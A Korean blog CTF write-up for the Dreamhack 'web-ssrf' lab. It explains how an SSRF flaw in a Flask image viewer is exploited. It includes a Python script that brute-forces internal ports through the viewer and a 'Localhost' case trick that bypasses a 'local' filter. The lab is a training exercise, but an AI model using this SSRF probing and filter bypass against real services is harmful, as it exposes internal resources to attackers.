김승현

[Dreamhack : Web] web-ssrf 본문

Web/Dreamhack : Web

[Dreamhack : Web] web-ssrf

kshind 2023. 2. 23. 14:47

문제

flask로 작성된 image viewer 서비스인데 ssrf 취약점을 사용해서 /app에 있는 flag.txt를 얻으라는 문제이다.

 

풀이

접속하면 메뉴엔 home, about, contact가 있고 image Viewer가 밑에 있다. image viewer으로 가보자.

저기서 view 버튼을 누르면 이렇게 사진이 뜬다.

 

문제 설명에서 localhost의 임의의 port에서 웹서버를 시작한다고 했는데 소스코드에서 찾아봤다.

1500 ~  1800에서 만들어진다. 포트를 찾기 위해 브루트 포스를 해보자.

import requests

NOTFOUND = 'iVBORw0KGgoAAA'

for port in range(1500, 1801):
    url = 'http://host3.dreamhack.games:17130/img_viewer'
    img_url = f'http://Localhost:{port}/flag.txt'
    data = { "url" : img_url }
    response = requests.post(url, data = data).text

    if not NOTFOUND in response:
        print(f'port is {port}')
        break

위와 같이 코드를 작성했다.

이렇게 포트가 떴고 사이트에 입력해보자.

local은 필터링이 있어서 Local로 입력했고 이미 app은 내부에서 실행 중이니까 flag.txt를 바로 입력 했는데

flag는 안 보이고 오류난 사진이 보인다... 아마도 error.png같은데... 포트가 잘못 됐나..? 강의의 코드를 사용해봤다.

뭐지 강의의 포트도 1574로 동일한데...?

개발자도구로 코드를 보니까 base64로 인코딩 되어 있다.

디코딩 하니까 플래그가 나왔다. 코드에서 decode가 있길래 디코딩 되어 있는 줄 알았는데 아니었나 보다....

'Web > Dreamhack : Web' 카테고리의 다른 글

[Dreamhack : Web] blind-command  (0) 2023.02.23
[Dreamhack : Web] Carve party  (0) 2023.02.23
[Dreamhack : Web] file-download-1  (0) 2023.02.23
[Dreamhack : Web] image-storage  (0) 2023.02.23
[Dreamhack : Web] command-injection-1  (0) 2023.02.22